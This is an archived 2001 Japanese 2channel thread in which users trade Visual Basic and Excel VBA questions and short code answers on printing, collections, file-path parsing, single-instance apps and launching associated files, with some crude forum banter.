Printer.PaperSize = vbPRPSUser Printer.Hight = xx Printer.Width = yy じゃ駄目? NT/2000系だとプリンタフォルダ開いて[ファイル]-[サーバーのプロパティ] で定義してやらないと駄目みたいだけど・・・ (APIのEnumFormsでの情報取得が必要) ヘルプのHeight,Widthの説明とPaperSizeの説明が食い違ってるのが 気になる。
808 :
806 :2001/04/13(金) 00:12
なるほど・・。 HightとWidthを強制指定してしまえばいいんですね。 色々やってみます。 しかし・・PaperSizeプロパティ、ユーザー定義だと vbPRPSUser(256)ってやつ、エプソンのドライバだと確かにそうなんだけど、 キャノンだと580だったなぁ・・これがようわからんです。
各社バラバラ・・・結局マイクロソフトがDDKのドキュメント にちゃんと書いといて統制とらなかったのが悪いんだよね。 (社内でもとれてない?) XPからはMSの検査にパスしてないものは警告が出るように なるそうだが・・・
810 :
デフォルトの名無しさん :2001/04/13(金) 14:22
dim i が dim I になってしまいます。 dim i に修正して保存。再びプロジェクトを開くと dim I になってます。 どうすれば、dim i にできるでしょうか?
811 :
デフォルトの名無しさん :2001/04/13(金) 15:02
プロジェクトのどこかに Public i Const i Enum hoge i End Enum とかあるんじゃない?
プロジェクト内、全置換えで dim I → dim i やると直ったです dim ICountとか書きやがったやついるな
813 :
デフォルトの名無しさん :2001/04/14(土) 17:53
棒、折れ線グラフ等を表示できるオブジェクトってあります? グリッドの様にセル幅が自由に変えられてグラフもそれに合わせて再描画する。 表示グラフ(線の部分)のイベントが取れるのってありますか?
814 :
デフォルトの名無しさん :2001/04/14(土) 23:07
三角形を塗りつぶすにはどうすればいいんですか?
815 :
デフォルトの名無しさん :2001/04/16(月) 13:54
OLE Object を表示せずにアクティブにする にはどうすれば?
816 :
デフォルトの名無しさん :2001/04/16(月) 16:24
VB初心者にお勧めの参考書は何ですか?
ベーマガ。
818 :
み :2001/04/18(水) 14:18
すいません。 質問なんですがVBでボタンを押すとたとえばアウトルックのオプションが出てくるとかはできますか? それはアウトルックが起動していることが前提になりますか? この辺がわかってないので教えてもらえますか? 具体的にはどうすればいいんでしょうか? お願いします
819 :
初心者A :2001/04/18(水) 18:43
VB6.0を購入したいんですが自分のパソはMEなんですけど 対応してるのってあるんでしょうか。95/98対応ってのばっかなんで
820 :
デフォルトの名無しさん :2001/04/18(水) 21:19
>>813 グラフコントロールでどう? 高機能なのを求めるなら、サードパーティ
製を選ぶのがいい。
http://www.boc.co.jp/ にいってみれ。
>>814 FloodFill()とかかな。APIを使わないなら、PSetでしこしこと。
>>815 意味不明。
>>816 VBマガジンとかどうよ? あとは、初心者向けの本が出てるだろ。
>>818 Outlookのオプションって何? 具体的に教えて。
>>819 VB6SP5で対応してるらしい。でも、開発にはWindows 2000とかの方が
いいよ。
821 :
よし :2001/04/18(水) 22:03
EXCELのVBで1時間毎に何らかの処理を自動的にさせるには、 どのようにプログラミングすれば出来るのでしょうか?
822 :
デフォルトの名無しさん :2001/04/18(水) 22:53
>>821 確か、ポーリングするしかなかったと思う。
発想を変えて、Auto_Openマクロを仕込んだExcelファイルを、1時間ごとに
スケジューラで起動するってのはどう?
>>815 MFC なんかではディスプレイの外など位置的に不可視なとこに
ウィンドウ移してやってますね。
824 :
み :2001/04/19(木) 01:59
要はランチャーみたいな感じで アウトルックを開いてなくてもぽんと押すと アウトルックを開いてツール>オプションを 出したのと同じ画面が出てくるとかそんな感じです やっぱり無理ですよね。申し訳ない 複数のソフトとの設定で提携が出来ればいいなと思っただけです
レジストリ調べて直接書き込んだ方が早くないか?
826 :
デフォルトの名無しさん :2001/04/19(木) 06:57
FormAというフォームがメモリにロードされてない時に FormA.visibleを参照すると Forms.Countの値が1増えるんですけど、どうしてですか? FormAをロードしたうえで参照するから?
827 :
よし :2001/04/19(木) 07:02
>>822 821です。アドバイスありがとうございます。 ポーリングしてもいいのですが、無限ループ構造のプログラム を作ってしまうとExcelの他の操作が出来なくなってしまいます よね。無限ループにならないポーリング方法などありませんかねぇ? >発想を変えて、Auto_Openマクロを仕込んだExcelファイルを、 >1時間ごとに スケジューラで起動するってのはどう? なるほど。発想を変えるといい方法ありすね。いいポーリング方法が 見つからなかったらこの方法で行きたいと思います。
828 :
デフォルトの名無しさん :2001/04/19(木) 07:09
>>824 サーバー側がインターフェイスを提供してれば可能。もしかすると、公開
しているかもしれないので、オブジェクト階層を調べてみれば?
>>826 そう。フォームのプロパティを参照/設定すると、暗黙的にフォームが
ロードされる。
>>827 Application.Wait()とかでできたような気もするけど、あまりきれいになら
なかったような・・・ ま、Excel97の頃の記憶なんで、話半分で聞いて。
829 :
デフォルトの名無しさん :2001/04/19(木) 15:40
ポリゴンを作ってるんですが 各頂点の計算と辺の表示が出来たんですが サーフェイスの色を塗ることが出来ません。 どうすればいいのでしょうか?
830 :
デフォルトの名無しさん :2001/04/19(木) 15:40
ポリゴンを作ってるんですが 各頂点の計算と辺の表示が出来たんですが サーフェイスの色を塗ることが出来ません。 どうすればいいのでしょうか?
ちょー初心者で申し訳ありません。 テキストボックスの値をクリップボードにコピーするのは、 どうすればいいのでしょうか? 宜しくお願いします。
832 :
デフォルトの名無しさん :2001/04/20(金) 23:03
>>831 Clipboard.SetText で。
833 :
デフォルトの名無しさん :2001/04/21(土) 09:33
>832 有難うございました。 ヘルプでCopyをずーと調べてたもので、全然見つからなかったのです。 解決しました。
834 :
デフォルトの名無しさん :2001/04/22(日) 18:55
VBで作ったソフトが複数起動されないようにする方法は? お願いします。
835 :
デフォルトの名無しさん :2001/04/22(日) 19:12
>>834 App.PrevInstanceプロパティでチェック。
836 :
デフォルトの名無しさん :2001/04/23(月) 21:45
>>835 レス有難うございます。
複数起動はされないようになったのですが、
先に起動されていたほうをアクティブにするのは難しいんですね。
Appactivateでもうまくいかないもので…
もう少し調べてみます。
有難うございました。
837 :
デフォルトの名無しさん :2001/04/23(月) 21:52
>>836 その処理は結構めんどくさい。DDEを使う方法もあるけど、よく使われるのは
FindWindow()して、SetForeGroundWindow()かな。
キャプションが固定のときね。
VB、もしくはEXCELマクロを使って、EXCEL2000の*.xlsに埋めこまれてる マクロを連続的に自動で抜き出して、*.basに保存する方法はあるでしょうか? よろしくお願いします
839 :
デフォルトの名無しさん :2001/04/23(月) 23:26
>>838 ちょっとヘルプがないんで分からないんだけど、VBEオブジェクトを使って
操作できたと思うよ。
841 :
デフォルトの名無しさん :2001/04/25(水) 16:18
ネットワークプリンタに関することなのですが MsgBox Printer.DeviceName としたときにWIN98とNTで表示内容が違うのですが…。 WIN98とNTで表示内容を同じにすることはできないのでしょうか?
842 :
デフォルトの名無しさん :2001/04/25(水) 16:21
>>841 ちなみに、どう違うの? デバイス名がOSで異なるのはしょうがないと思うけど。
843 :
841 :2001/04/25(水) 16:22
説明追加 WIN98では印刷に使用するドライバ NTでは印刷先のポート が表示されます。
VBで動画の再生速度をコントロールするには、どうすればいいですか?
845 :
デフォルトの名無しさん :2001/04/29(日) 12:49
VB6.0を使って、http経由でバイナリのデータを取得する方法を教えて下さい。
846 :
デフォルトの名無しさん :2001/04/29(日) 21:21
VBで作ったのを配布しようとすると、セットアップ中に 「ファイル c:\windows\system\EXPSRV.DLL の登録中にエラーが発生しました」 というエラーが出るのですが、なんのエラーなのでしょうか? 一見、問題はないのですが。
847 :
デフォルトの名無しさん :2001/05/01(火) 14:17
ある文字列中の「?」の数を調べたいのですがどうやったらいいでしょうか?
848 :
デフォルトの名無しさん :2001/05/01(火) 14:20
>>847 Split()で分けて、UBound()
849 :
デフォルトの名無しさん :2001/05/01(火) 14:46
850 :
デフォルトの名無しさん :2001/05/01(火) 14:56
Private Sub Command1_Click() MsgBox(cstr(bar(Text1.Text, "?", ""))) End Sub Public Function bar(lpTargetstr As String, RequireStr As String, ByRef Errortext As String) As Long Dim i As Long Dim result As Long Dim tempstr As String ' //const RequireStr = "?" On Error GoTo Catch result = 0 For i = 1 To Len(lpTargetstr) tempstr = StrConv(Mid(lpTargetstr, i, 1), vbWide) If tempstr = StrConv(RequireStr, vbWide) Then GoSub Findit Next i bar = result Exit Function Findit: result = result + 1 Return Catch: bar = -1 Errortext = CStr(Err.Description) End Function
851 :
デフォルトの名無しさん :2001/05/01(火) 15:21
1文字ずつ判定ならstrcompでした(鬱
853 :
デフォルトの名無しさん :2001/05/16(水) 15:06
ComboBoxを指定するときに MsgBox Combo.Text MsgBox Combo.Item(0).Text と指定しなければいけない事があるみたいだけど、 これはなんで? どこかスタイルをかえちゃったのかな?
854 :
デフォルトの名無しさん :2001/05/16(水) 15:21
855 :
デフォルトの名無しさん :2001/05/19(土) 00:41
死ね上級者
先程の荒らしはVB厨房? ろくなことしないにゅ。(w
! こ い ん ざ な う あ あ 糞 ゃ あ ス じ ぁ ぁ レ e は g s a
アンチkylix荒らし=VB厨 氏んでね
859 :
デフォルトの名無しさん :2001/05/21(月) 01:32
呼んだか?
VB厨はVB以外の言語など知らないと思いますが・・
861 :
デフォルトの名無しさん :2001/05/21(月) 01:48
C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url このような文字列から "C:\Documents and Settings\Default User\Favorites\メディア" を取り出したり "メディア ガイド.url" や "メディア ガイド" を取り出すのはどのように行うのでしょうか? よろしくお願いします。
変数Aにマイナス1を入れておく 頭から順に\を検索する \が見つかったら何文字目かを変数Aに控えておく これを文字列の最後までやる ここで変数Aの値が最後の\の位置なので、 その次の文字から最後までがファイル名になる 空白やピリオドに関しても同じようにやればOK 最後から順に検索だと、漢字の2バイト目に隠れてる\に引っかかってしまう。 これが一般的なアルゴリズムだと思うけど、 VBだと漢字を1文字として数える命令があるのかもね。 当方Cプログラマなのでこれ以上は。
split-path>861
ゴメン追記。 最後まで行って変数Aがマイナス1のままだったら¥が無かったってことね。 エラー処理してください。 あと変数Aの初期値は有り得ない数だったらマイナス1じゃなくても何でもいいです。
>>863 ギャ。そんな便利な命令があるんですか。
VBっていいですね。
鬱駄氏脳
全部API一発で出来るよ・・・。 PathRemoveExtensionとか
867 :
861 :2001/05/21(月) 11:15
>>862 さん
ありがとうございます。
でもちょっと面倒なのでそれはやりたくないです。
あと、VBでは2バイト文字も1文字として扱われるみたい。
>>861 さん
Splitはわかるのですがpathってのがわかんない。
>>866 VBでAPI使ったことないですー。(氏
868 :
名無しおやぢ :2001/05/21(月) 11:32
>>861 Instr関数を使うもよし、FileSystemObjectでもたぶんできそう・・・。
もし、自分でやり方がわからなくても、WEBで検索すればこの程度の
サンプルコードは腐るほどたくさんあるので、コピペすれば問題なし。(W
・・・王さんのホームラン数とおなじだから、キリ番かな? (^^;
869 :
861 :2001/05/21(月) 11:40
>>868 んん〜、いけずぅ.
仕方ないから作ってしまたわ。
Function ExtractFileName(FullPath As String) As String
Dim FileNameArray() As String
FileNameArray = Split(FullPath, "\")
ExtractFileName = FileNameArray(UBound(FileNameArray))
End Function
Function ExtractFilePath(FullPath As String) As String
Dim FileNameArray() As String
Dim i As Integer
FileNameArray = Split(FullPath, "\")
For i = 0 To UBound(FileNameArray) - 1
ExtractFilePath = ExtractFilePath & FileNameArray(i) & "\"
Next i
End Function
Private Sub Command1_Click()
MsgBox ExtractFileName("C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url")
MsgBox ExtractFilePath("C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url")
End Sub
サンプルコードが腐るほど沢山あるページのリンク先
お・ね・が・ヰ・♥
870 :
>>869 :2001/05/21(月) 16:54
関数名が Delphi 使いっぽいや(w でも、どっちも配列にバラすよりは InstrRev 使った方が速いよきっと Public Function ExtractFileName(Path As String) As String ExtractFileName = Right$(Path, Len(Path) - InStrRev(Path, "\")) End Function Public Function ExtractFilePath(Path As String) As String ExtractFilePath = Left$(Path, InStrRev(Path, "\")) End Function こんな感じ
FileSystemObject使うとこんな感じなのかな? #これだけのためにFileSystemObject使うのは無駄な気がするけど。 Public Function ExtractFileName(ByVal Path As String) As String Dim fso As New FileSystemObject If fso.FileExists(Path) Then ExtractFileName = fso.GetFile(Path).Name Else ExtractFileName = "" End If End Function Public Function ExtractFilePath(ByVal Path As String) As String Dim fso As New FileSystemObject If fso.FileExists(Path) Then ExtractFilePath = fso.GetFile(Path).ParentFolder Else ExtractFilePath = "" End If End Function
872 :
861 :2001/05/22(火) 14:25
873 :
デフォルトの名無しさん :2001/05/22(火) 22:01
よろしくおねがいします。 コレクションのコレクションを作ってみたいのですが Private Sub Command3_Click() Dim i As Integer Dim j As Integer Dim ICol As New Collection Dim JCol As Collection For i = 1 To 3 JCol = New Collection For j = 1 To 3 JCol.Add (CStr(j)) Next j ICol.Add (JCol) Next i End Sub うまくうごきません。 なぜでしょうか。よろしくおねがいします。
874 :
>873 :2001/05/22(火) 22:54
これで動いたよ For i = 1 To 3 Set JCol = New Collection 'オブジェクトは Set だよ For j = 1 To 3 JCol.Add CStr(j) 'まぁここは直さなくてもいいが Next j ICol.Add JCol 'ここはカッコを外さないとダメなのよん Next i 戻り値のない関数・メソッドに引数を渡すときはカッコを付けちゃいけないんだよ どうしてもカッコで囲みたい場合は Call hoge(param) って書き方も出来るけどね Set の使い方はヘルプ見てね
875 :
デフォルトの名無しさん :2001/05/22(火) 23:09
>>873 こんなところかな?
#説明がちょっと自信ないけど...
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
Set JCol = New Collection ' オブジェクト変数に直接オブジェクトを代入することはできない。
For j = 1 To 3
JCol.Add (CStr(j))
Next j
ICol.Add JCol ' Callステートメントを省略するときは、プロシージャへの引数を囲む()も省略する。
Next i
End Sub
> ICol.Add JCol ' Callステートメントを省略するときは、プロシージャへの引数を囲む()も省略する。 プロシージャじゃなくて、メソッドだな。 宇津山車...
877 :
VB丁稚 :2001/05/23(水) 00:20
>>853 同じ名前のコンボボックスコントロールをフォーム上に配置しようとして、
コントロールのコレクションになってませんか?
>Combo.Item(0).Text
「Comboって名前のコレクションの0番目のメンバーのTextプロパティ」
にアクセスしているように見えます。
>>877 コレクションじゃなくて「コントロール配列」だ。
#何で「配列」なんだろ。
>>874 -878
ありがとうございます。
SetやCallの使い方がまだ出来ていなかった。
またわからないです。
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
Set JCol = New Collection
For j = 1 To 3
JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
Next j
ICol.Add CStr(i)
Next i
For i = 1 To ICol.Count
JCol = ICol.Item(i)
For j = 1 To JCol.Count
MsgBox JCol.Item(j)
Next j
Next i
End Sub
後半のFor i=1のループが動作しません。
JCol = ICol.Item(i)
というのがダメみたいなんだけど、
どうやったら出来るのでしょうか?
880 :
デフォルトの名無しさん :2001/05/23(水) 10:47
ageわすれですスマソ
881 :
879 :2001/05/23(水) 11:01
>>879 ごめん、できました。
> ICol.Add CStr(i)
Icol.Add JCol
ですね。
よかった。
For i = 1 To 3 Set JCol = New Collection For j = 1 To 3 JCol.Add ("i=" & CStr(i) & " j=" & CStr(j)) Next j ICol.Add JCol Next i For i = 1 To ICol.Count Set JCol = ICol.Item(i) For j = 1 To JCol.Count MsgBox JCol.Item(j) Next j Next i
883 :
デフォルトの名無しさん :2001/05/23(水) 12:05
初心者です。 VBを窓Meで使ってるのですが、コード書いているときに マウスのホイールが使えないのはバグかなんかでしょうか。 ほかの窓Me使いさんはどうでしょう。
窓Meと書かれるとむかつくのはわたしだけでしょうか。 ほかの窓Me使いさんはどうでしょう。
すみません。 WindowsMe。
886 :
デフォルトの名無しさん :2001/05/23(水) 15:08
>>883 インテリポイントのドライバをアップデートすればいいらしいよ。
888 :
あ :2001/05/23(水) 16:33
音の波形を設定したりして いろんな音を作ったりするプログラムを作りたいんだけど。 VBでこんなことって出来る?
waveOutWrite
>>889 BV暦一ヶ月ちょいなんで意味わかりません。
もうちょっと詳しく教えてください。
891 :
デフォルトの名無しさん :2001/05/23(水) 17:11
俺にもBV教えてくれ。
すいません、コレクションの続きにて
任意のItemに文字列を代入したいのですが、出来ません。
(オブジェクトが無いというようなエラーが発生します。
以下のようなプログラムを動かしています
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
Set JCol = New Collection
For j = 1 To 3
JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
Next j
ICol.Add JCol
Next i
For i = 1 To ICol.Count
Set JCol = (ICol.Item(i))
For j = 1 To JCol.Count
MsgBox JCol.Item(j)
JCol.Item(j) = "iは" & CStr(i) & " jは" & CStr(j)
Next j
Next i
End Sub
JCol.Item(j)の所がわかりません。
どのようにするとよろしいのでしょうか?
よろしくお願いします。
追伸
>>882 さんありがとう。
893 :
デフォルトの名無しさん :2001/05/23(水) 17:16
またアげ忘れてました。
894 :
デフォルトの名無しさん :2001/05/23(水) 17:17
comboboxが2つあって、and条件でできるようにしたいのですが、どうすれば いいのですか? 宜しくお願いします。
895 :
デフォルトの名無しさん :2001/05/23(水) 17:34
896 :
デフォルトの名無しさん :2001/05/23(水) 17:36
×and条件でできるようにしたいのですが ○and条件で<*****を>できるようにしたいのですが プログラムより日本語勉強しな
897 :
894 :2001/05/23(水) 17:42
>>896 すみません。
アクセスを使って名簿を作りたいのですが、combobox1であ行、か行・・・
を選択し、combobox2で年代を選択し、双方に当てはまる人を抽出したいのです。
どうすればいいのでしょう?
898 :
デフォルトの名無しさん :2001/05/23(水) 17:53
SELECT文教えれって? スレ違いだよ
899 :
894 :2001/05/23(水) 17:55
そうなのですか・・・。 すみません。 よく分かっていません。
900 :
892 :2001/05/23(水) 17:57
すいません、 私のもお願いします。 コレクションに入れたオブジェクトって 入れ替えは無理なんでしょうか。 RemoveしてAddするだけじゃ 順番が変わってしまって困ってます。 どうしたら・・・・・・・・・・・・・・・・・・・
901 :
デフォルトの名無しさん :2001/05/23(水) 18:05
できません。 じゃ冷たいんで。自分はシーケンス付きがいる時は、ユーザCollection を作るな。
903 :
デフォルトの名無しさん :2001/05/23(水) 18:18
ていうか、タダの文字列をなんでコレクションにしたいの? コレクションて、オブジェクトのコレクションよ。わかってる?
904 :
892 :2001/05/23(水) 18:22
うーん、文字列コレクションなどというものはあるのでしょうか? なぜInsertがないのでしょう.....
>>900 コレクションに入れるときに、ちゃんと文字列でキーをつけたら?
>>905 VBじゃ
Dim sptr as String
set sptr = new as String
ってできないから、コレクションにつっこむ意味あるの?
>>904 >なぜInsertがないのでしょう.....
Addプロシージャにbeforeやafterって引数あるけど?
>>906 >ってできないから、コレクションにつっこむ意味あるの?
あまり....
keyがつけられるから連想配列代わり?
なんで配列じゃなくてコレクションに入れたいのかってのは、
892に聞いてくださいな。
だって、データの数が不定なので、配列はきついかなと。 動的配列でReDimばっかするのもいやだったので。 Addをしらべてみます。 教えてくれてありがとうございます。
新スレの予感
APIって何? VBとの違いはあるの?
VBから見れば、APIは拡張命令みたいなものと言えるかもしれませんね。 取り扱いは厄介ですが、使えるようになるとVBでできることの幅がグンと広がります。
スマン。出来なくはないとも思うがVBでは難しい。
つまりメモリブロックを取得してロックしてヘッダを準備 して・・・とお膳立てがかなり面倒なのよ。
>>889 親切に教えてくれてどうもありがとうございました。
でも難しそうなのでやっぱいいです。
これだからVB厨房は・・
始めまして先生方 VB上から関連づけされたプログラムを起動するには どうしたらよいのですか? c:\>start data.txt で開くような感じでVBから起動したいのですが。
918 :
デフォルトの名無しさん :2001/05/24(木) 11:53
>>917 Shell Environ("COMSPEC") & " /c start " & "data.txt"
919 :
デフォルトの名無しさん :2001/05/24(木) 12:15
>>917 %COMSPEC% を使う方法だと、コマンドプロンプトが開いちゃうので、
ShellExecute()を使うのが吉。
そろそろ新スレだな。今度はタイトルに記号使うなよ。 じゃないと本当に隔離されちゃうぞ。
921 :
VBer :2001/05/24(木) 14:17
AccessのデータをListViewに表現する方法を教えてください。 VBとAccessはADOでつないでいて、Accessにはテーブルが2つ(リレーション) をはってあります。 おそらく、データをLoop等で入れると思うのですが、やり方(できれば 具体的ソースコードで)をお願いできないでしょうか? また、挿入された(Access)データに対してDblClickすることで 例えば、選ばれた行データ(テーブル1)の詳細データ(テーブル2)を Form2等に表現する方法を教えてください。 つたない説明ですが、どうかお願いします。
>>921 つたなくないけど、それって質問じゃなくて
「お仕事お願い」だと思う
923 :
デフォルトの名無しさん :2001/05/24(木) 14:56
924 :
デフォルトの名無しさん :2001/05/24(木) 16:49
>>921 ・ADOでConnectionを作成
・RecodSetを開く
・Do〜Loopでレコードセットの末尾までループ
・リストビューのリストアイテムをAdd
・リストアイテムのサブアイテムにテキストを設定
・リストビューのダブルクリックイベントで選択されたアイテムを取得
・キーをForm2に渡す
・キーを使って詳細テーブルからレコード取得
・取得したレコードの内容を表示
具体的なやり方は調べてね。
925 :
921 :2001/05/24(木) 17:22
>>924 ありがとうございます。
とりあえず、調べてがんばります。
926 :
デフォルトの名無しさん :2001/05/24(木) 17:48
隠し関数で存在しているVBのポインタはどういうときに使うのですか?
918-919さんありがとうございました。 無事解決しました(笑
928 :
デフォルトの名無しさん :2001/05/24(木) 20:18
2ちゃんねる好き同僚作の社内ツール #Const CH2 = True Private Sub Command1_Click() #If CH2 Then MsgBox "(=゚ω゚)ノ ぃょぅ" #Else MsgBox "こんにちは" #End If End Sub ・・・こんなんばっかし・・・鬱だ・・・
930 :
デフォルトの名無しさん :2001/05/28(月) 19:40
ageちゃる
931 :
ちゃっぴー :2001/05/28(月) 20:10
ど初心者ですんません(汗 フォームにテキストボックスを1つ作って、 テキストボックスに適当なファイルとD&Dすると、 テキストボックス内にD&Dしたファイルのパスを表示する というものを作りたいのですが、 どうすればいいのかどうにもこうにも(T−T
2が出来てるんだから移行しよう ======== 終了 ========